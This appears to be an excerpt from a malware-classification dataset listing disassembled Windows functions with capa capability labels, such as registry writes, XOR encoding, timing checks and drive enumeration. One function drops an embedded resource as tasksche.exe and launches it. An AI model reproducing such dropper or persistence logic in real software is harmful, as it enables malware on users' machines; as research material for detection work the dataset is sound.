joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001b1a
Capabilities:
Read file via mapping

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
lea ecx, [esi + 0x80]
mov eax, dword [ecx]
push edi
xor ebx, ebx
jmp 0x1001b35
mov eax, dword [eax]
inc ebx
cmp eax, ecx
jne 0x1001b32
cmp ebx, dword [esi + 0x54]
ja 0x1001b46
test ebx, ebx
jne 0x1001bd4
mov edi, ebx
imul edi, edi, 0x28
push 0x1001350
add edi, 8
push edi
push 0
push 4
call fcn.01003304
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 8], eax
test eax, eax
jne 0x1001b7a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001c2c
push edi
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x1001ba4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1001c2c
mov eax, dword [esi + 0x50]
test eax, eax
je 0x1001bb6
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
and dword [esi + 0x50], 0
mov eax, dword [esi + 0x4c]
test eax, eax
je 0x1001bc8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi + 0x4c], 0
mov eax, dword [ebp - 8]
mov dword [esi + 0x50], edi
mov dword [esi + 0x4c], eax
mov dword [esi + 0x54], ebx
mov edi, dword [esi + 0x50]
push 0xffffffffffffffff
push dword [esi + 0x48]
lea eax, [edi + 8]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and dword [ebp - 8], 0
mov dword [edi + 4], ebx
mov eax, dword [esi + 0x10]
mov dword [edi], eax
mov edi, dword [esi + 0x80]
test ebx, ebx
jbe 0x1001c21
lea eax, [esi + 0x80]
cmp edi, eax
je 0x1001c21
push dword [ebp - 4]
lea ecx, [edi - 4]
call fcn.010018fd
add dword [ebp - 4], 0x28
inc dword [ebp - 8]
mov edi, dword [edi]
cmp dword [ebp - 8], ebx
jb 0x1001bfe
push dword [esi + 0x48]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1002581
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edi, ecx
xor esi, esi
cmp dword [edi + 4], 1
mov dword [ebp - 8], esi
jne 0x1002680
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [edi + 0x34]
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10025dc
mov ecx, edi
call fcn.01001990
test eax, eax
jne 0x10025d0
mov dword [edi + 4], 2
jmp 0x100266a
mov ecx, edi
call fcn.01002535
jmp 0x100266a
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x20]
push eax
lea ecx, [edi + 0x14]
call fcn.010049b2
cmp eax, 0x80158100
jne 0x100261c
test esi, esi
je 0x1002605
push esi
call fcn.01001633
pop ecx
push dword [ebp - 4]
call fcn.01001615
mov esi, eax
pop ecx
test esi, esi
je 0x100267f
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
jmp 0x10025dc
test eax, eax
jl 0x1002674
cmp dword [ebp - 4], 0
je 0x10025dc
mov eax, dword [esi]
dec eax
je 0x1002650
dec eax
je 0x1002641
dec eax
dec eax
jne 0x100266a
call ebx
push esi
mov ecx, edi
mov dword [edi + 0x74], eax
call fcn.01002037
jmp 0x100265d
call ebx
push esi
mov ecx, edi
mov dword [edi + 0x74], eax
call fcn.010024c8
jmp 0x100265d
call ebx
push esi
mov ecx, edi
mov dword [edi + 0x74], eax
call fcn.0100225b
push dword [esi + 4]
push eax
lea eax, [esi + 8]
push eax
call fcn.01002072
cmp dword [edi + 4], 1
je 0x10025a3
test esi, esi
je 0x100267f
push esi
call fcn.01001633
pop ecx
pop ebx
pop edi
pop esi
leave
ret
Function at 0x10030b5
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x1007180
call fcn.01003264
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x20], ebx
mov edi, 0x100857c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x1002e70
cmp eax, esi
jne 0x1002e63
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x1002e73
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1002e4a
xor esi, esi
inc esi
mov eax, dword [0x1008578]
cmp eax, esi
jne 0x1002e86
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1002eb5
mov eax, dword [0x1008578]
test eax, eax
jne 0x1002eaf
mov dword [0x1008578], esi
push 0x100118c
push 0x1001180
call fcn.01002dac
pop ecx
pop ecx
test eax, eax
je 0x1002eb5
jmp 0x1002fd9
mov dword [0x1008054], esi
mov eax, dword [0x1008578]
cmp eax, esi
jne 0x1002ed9
push 0x100117c
push 0x1001174
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1008578], 2
cmp dword [ebp - 0x20], ebx
jne 0x1002ee6
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1008580], ebx
je 0x1002f07
push 0x1008580
call fcn.010031d9
pop ecx
test eax, eax
je 0x1002f07
push ebx
push 2
push ebx
call dword [0x1008580]
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
cmp dword [eax], ebx
je 0x1002fd9
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
movzx ecx, word [eax]
cmp cx, 0x20
ja 0x1002f71
cmp cx, bx
je 0x1002f2c
cmp dword [ebp - 0x1c], ebx
jne 0x1002f71
movzx ecx, word [eax]
cmp cx, bx
je 0x1002f41
cmp cx, 0x20
ja 0x1002f41
inc eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x1002f2c
test byte [ebp - 0x40], 1
je 0x1002f4d
movzx ecx, word [ebp - 0x3c]
jmp 0x1002f50
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x1000000
call main
mov dword [0x1008050], eax
cmp dword [0x1008044], ebx
jne 0x1002fb6
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cx, 0x22
jne 0x1002f82
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
inc eax
inc eax
jmp 0x1002f16
cmp dword [0x1008054], ebx
jne 0x1002fc4
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1008050]
jmp 0x1002fe5
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.010032a9
ret
call fcn.010033b1
jmp 0x1002e0d
Function at 0x1003e8f
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x1008018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
je 0x1003f19
cmp dword [ecx + 8], 0
je 0x1003f19
lea edx, [ebp - 0x214]
push edx
lea edx, [ebp - 0x210]
push edx
lea edx, [ebp - 0x218]
push edx
push 0
push eax
push dword [ecx + 0xc]
mov dword [ebp - 0x214], 0x106
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1003f19
mov eax, dword [ebp - 0x214]
mov ecx, dword [esi]
shr eax, 1
cmp eax, ecx
ja 0x1003f17
test edi, edi
je 0x1003f17
lea eax, [ebp - 0x210]
push eax
push ecx
push edi
call fcn.01003d0f
mov eax, dword [ebp - 0x214]
shr eax, 1
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x1003f1b
mov dword [esi], eax
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.010030c4
leave
ret 0xc
Function at 0x10050c0
Capabilities:
Hash data using sha1

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x100856c], 0
push ebx
jne 0x100513d
push eax
push ebx
push ecx
push edx
xor eax, eax
cpuid
xor eax, eax
xor ebx, 0x756e6547
sete al
xor ebx, ebx
xor ecx, 0x6c65746e
sete bl
and eax, ebx
xor ecx, ecx
xor edx, 0x49656e69
sete cl
and eax, ecx
mov dword [ebp - 4], eax
mov eax, 1
cpuid
xor ecx, ecx
xor edx, edx
mov ebx, 0xff0
and ebx, eax
mov dword [ebp - 8], ebx
pop edx
pop ecx
pop ebx
pop eax
cmp dword [ebp - 4], 0
mov eax, 1
je 0x1005131
cmp dword [ebp - 8], 0x660
jae 0x1005131
xor eax, eax
mov eax, dword [eax*4 + 0x100802c]
mov dword [0x100856c], eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x54], 0
mov dword [eax + 0x58], 0
mov dword [eax + 0x40], 0x67452301
mov dword [eax + 0x44], 0xefcdab89
mov dword [eax + 0x48], 0x98badcfe
mov dword [eax + 0x4c], 0x10325476
mov dword [eax + 0x50], 0xc3d2e1f0
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4011b0
Capabilities:
Encode data using xor

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
xor ecx, ecx
test edi, edi
mov dword [esp + 4], eax
jle 0x4011e7
push ebx
push esi
mov esi, dword [esp + 0x14]
mov eax, ecx
mov dl, byte [esi]
and eax, 3
mov bl, byte [esp + eax + 0xc]
lea eax, [esp + eax + 0xc]
xor bl, dl
inc ecx
inc esi
cmp ecx, edi
mov byte [eax], bl
jl 0x4011c8
mov eax, dword [esp + 0xc]
pop esi
pop ebx
pop edi
pop ecx
ret
Function at 0x4061c5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40a650
cmp edx, dword [eax]
je 0x4061e7
add eax, 8
inc ecx
cmp eax, 0x40a6e0
jl 0x4061d8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40a650]
jne 0x406315
mov eax, dword [0x40aa0c]
cmp eax, 1
je 0x4062ef
test eax, eax
jne 0x406218
cmp dword [0x40a5a4], 1
je 0x4062ef
cmp edx, 0xfc
je 0x406315
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40624f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00406a80
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00406b70
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x406292
lea eax, [ebp - 0x1a4]
push eax
call fcn.00406b70
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4085f0
push edi
call fcn.00406c80
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00406a80
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00406a90
lea eax, [ebp - 0xa0]
push 0x4085d0
push eax
call fcn.00406a90
push dword [esi + 0x40a654]
lea eax, [ebp - 0xa0]
push eax
call fcn.00406a90
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00406beb
add esp, 0x2c
pop edi
jmp 0x406315
lea eax, [ebp + 8]
lea esi, [esi + 0x40a654]
push 0
push eax
push dword [esi]
call fcn.00406b70
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x407ce0
Capabilities:
Extract resource via kernel32 functions
Move file

Disassembly:
sub esp, 0x260
push ebx
push ebp
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x407f08
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateProcessA
push esi
call edi
push 0x431398
push esi
mov dword [0x431478], eax
call edi
push 0x43138c
push esi
mov dword [0x431458], eax
call edi
push 0x431380
push esi
mov dword [0x431460], eax
call edi
mov ecx, dword [0x431478]
mov dword [0x43144c], eax
cmp ecx, ebx
je 0x407f08
cmp dword [0x431458], ebx
je 0x407f08
cmp dword [0x431460], ebx
je 0x407f08
cmp eax, ebx
je 0x407f08
push 0x43137c
push 0x727
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x407f08
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [esp + 0x10], eax
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
cmp ebp, ebx
je 0x407f08
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x16d]
mov byte [esp + 0x16c], bl
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push str.tasksche.exe
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.WINDOWS
lea eax, [esp + 0x70]
push str.C:_s_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x16c]
push str.WINDOWS
push str.C:_sqeriuwjhrf
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x16c]
lea eax, [esp + 0x68]
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
push 4
push 2
push ebx
push ebx
lea ecx, [esp + 0x7c]
push 0x40000000
push ecx
call dword [0x431458]
mov esi, eax
cmp esi, 0xffffffff
je 0x407f08
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push ebx
push edx
push ebp
push eax
push esi
call dword [0x431460]
push esi
call dword [0x43144c]
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x18], ecx
lea edi, [esp + 0x28]
mov dword [esp + 0x1c], ecx
lea edx, [esp + 0x68]
mov dword [esp + 0x20], ecx
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov edi, 0x431340
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x6c]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x4c], 0x44
mov word [esp + 0x7c], bx
mov dword [esp + 0x78], 0x81
call dword [0x431478]
test eax, eax
je 0x407f08
mov eax, dword [esp + 0x18]
push eax
call dword [0x43144c]
mov ecx, dword [esp + 0x14]
push ecx
call dword [0x43144c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x260
ret
Function at 0x401438
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 8

Function at 0x40148e
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
mov ebx, ecx
jne 0x4014a4
push 0x80004005
call fcn.0040119a
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x4014a7
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
ret 8

Function at 0x401b9a
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
cmp eax, edi
mov dword [esi + 0x34], eax
jne 0x401bb6
xor al, al
jmp 0x401bd0
lea eax, [esp + 8]
push eax
push edi
push esi
push 0x401b66
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ecx
ret

Function at 0x401c69
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x41752c]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov eax, dword [ebp + 0x1a0]
push ebx
push esi
push edi
push 0x2001f
mov ebx, ecx
push eax
push dword [ebx]
xor esi, esi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], esi
call fcn.00401403
mov edi, eax
cmp edi, esi
je 0x401cd1
lea ecx, [ebp - 0x70]
call fcn.0040139e
mov eax, edi
mov ecx, dword [ebp + 0x194]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004073a6
add ebp, 0x198
leave
ret 4
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x401ce9
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x70]
call fcn.00401c69
cmp eax, esi
jne 0x401d1c
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x100
call edi
test eax, eax
je 0x401cd9
lea ecx, [ebp - 0x70]
call fcn.0040139e
push dword [ebp - 0x78]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.0040139e
mov eax, esi
jmp 0x401cb7
Function at 0x405970
Capabilities:
Get storage device properties

Disassembly:
push ebp
lea ebp, [esp - 0x2720]
mov eax, 0x2720
call fcn.004073c0
push 0xffffffffffffffff
push 0x411b12
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x41752c]
xor eax, ebp
mov dword [ebp + 0x271c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor ebx, ebx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x10], ebx
mov eax, dword [0x41705c]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
push str..PhysicalDrive_d
push eax
mov dword [ebp - 4], ebx
call fcn.00404a2f
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
je 0x405ae2
xor eax, eax
mov dword [ebp - 0x3c], ebx
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
push 0x18
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push 0x70000
push dword [ebp - 0x14]
mov dword [ebp - 0x20], ebx
call esi
cmp eax, 1
jne 0x405ad9
push dword [ebp - 0x34]
push 0x412d40
push dword [ebp - 0x18]
call fcn.00404a2f
xor eax, eax
lea edi, [ebp]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x270f
lea eax, [ebp + 0xd]
push ebx
push eax
mov dword [ebp], ebx
mov dword [ebp + 4], ebx
mov byte [ebp + 0xc], bl
call fcn.00407ff0
add esp, 0x18
push ebx
lea eax, [ebp - 0x20]
push eax
push 0x2710
lea eax, [ebp + 0xc]
push eax
push 0xc
lea eax, [ebp]
push eax
push 0x2d1400
push dword [ebp - 0x14]
call esi
test eax, eax
je 0x405ad9
mov eax, dword [ebp + 0x1c]
cmp eax, ebx
mov edi, dword [ebp - 0x18]
je 0x405a96
lea eax, [ebp + eax + 0xc]
push eax
lea ecx, [edi + 4]
call fcn.0040592c
mov eax, dword [ebp + 0x24]
cmp eax, ebx
je 0x405aaa
lea eax, [ebp + eax + 0xc]
push eax
lea ecx, [edi + 8]
call fcn.0040592c
mov eax, dword [ebp + 0x18]
cmp eax, ebx
je 0x405abe
lea eax, [ebp + eax + 0xc]
push eax
lea ecx, [edi + 0xc]
call fcn.0040592c
mov eax, dword [ebp + 0x20]
cmp eax, ebx
je 0x405ad2
lea eax, [ebp + eax + 0xc]
push eax
lea ecx, [edi + 0x10]
call fcn.0040592c
mov dword [ebp - 0x24], 1
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00402090
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x4059be
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x271c]
xor ecx, ebp
call fcn.004073a6
add ebp, 0x2720
leave
ret
Function at 0x405bac
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x41752c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push 0x63
lea eax, [ebp - 0x67]
push ebx
push eax
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x74], ebx
xor esi, esi
mov byte [ebp - 0x68], bl
call fcn.00407ff0
lea eax, [ebp - 0x68]
add esp, 0xc
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x80]
push eax
push 8
mov byte [ebp - 0x70], bl
mov byte [ebp - 0x6f], bl
mov byte [ebp - 0x6e], bl
mov byte [ebp - 0x6d], bl
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x405cb8
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x74]
push ebx
push 2
push dword [ebp - 0x80]
call edi
test eax, eax
jne 0x405c3c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x405cb7
push dword [ebp - 0x74]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x74]
push esi
push 2
push dword [ebp - 0x80]
call edi
test eax, eax
je 0x405cb7
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x405cb7
xor edi, edi
cmp dword [esi], ebx
jbe 0x405cb7
lea eax, [esi + 4]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
push dword [eax]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x405ca6
add dword [ebp - 0x7c], 8
inc edi
cmp edi, dword [esi]
jb 0x405c89
jmp 0x405cb7
test byte [esi + edi*8 + 8], 4
je 0x405cb7
mov dword [ebp - 0x84], 1
pop edi
cmp dword [ebp - 0x78], ebx
je 0x405cc6
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp esi, ebx
je 0x405cd1
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x84]
pop esi
xor ecx, ebp
pop ebx
call fcn.004073a6
leave
ret

Function at 0x405ce5
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
or esi, 0xffffffff
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x405d26
push 4
lea eax, [ebp + 0x14]
push eax
push 4
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x405d1d
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x405d2b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
or esi, 0xffffffff
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x405d82
mov eax, dword [ebp + 0x14]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x405d4d
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x405d79
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x405d87
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x790]
sub esp, 0x810
mov eax, dword [0x41752c]
xor eax, ebp
mov dword [ebp + 0x78c], eax
mov eax, dword [ebp + 0x7a4]
push ebx
mov ebx, dword [ebp + 0x7a0]
push esi
mov esi, dword [ebp + 0x798]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp + 0x7a8]
push edi
mov edi, dword [ebp + 0x79c]
mov dword [ebp - 0x80], eax
xor eax, eax
mov dword [ebp - 0x7c], eax
push 0x7fe
push eax
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push eax
call fcn.00407ff0
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0x800
push ebx
push edi
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x405e19
cmp dword [ebp - 0x78], 1
jne 0x405e19
lea eax, [ebp - 0x74]
push eax
mov ecx, esi
call fcn.0040492a
jmp 0x405e23
push dword [ebp - 0x80]
mov ecx, esi
call fcn.004048f7
mov ecx, dword [ebp + 0x78c]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004073a6
add ebp, 0x790
leave
ret

Function at 0x406bb4
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x41752c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00406b49
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00407ff0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x406c03
cmp dword [ebp - 0x1c], 5
jb 0x406c1b
jmp 0x406c17
cmp dword [ebp - 0x10], 1
jne 0x406c1b
cmp dword [ebp - 0x1c], 4
ja 0x406c17
jne 0x406c1b
cmp dword [ebp - 0x18], 0
jbe 0x406c1b
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x412f00
call fcn.0040126f
test eax, eax
jge 0x406c3c
mov byte [0x418500], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004073a6
add ebp, 0x78
leave
ret

Function at 0x4073a6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41752c]
jne 0x4073b0
repz ret
jmp fcn.0040a3fb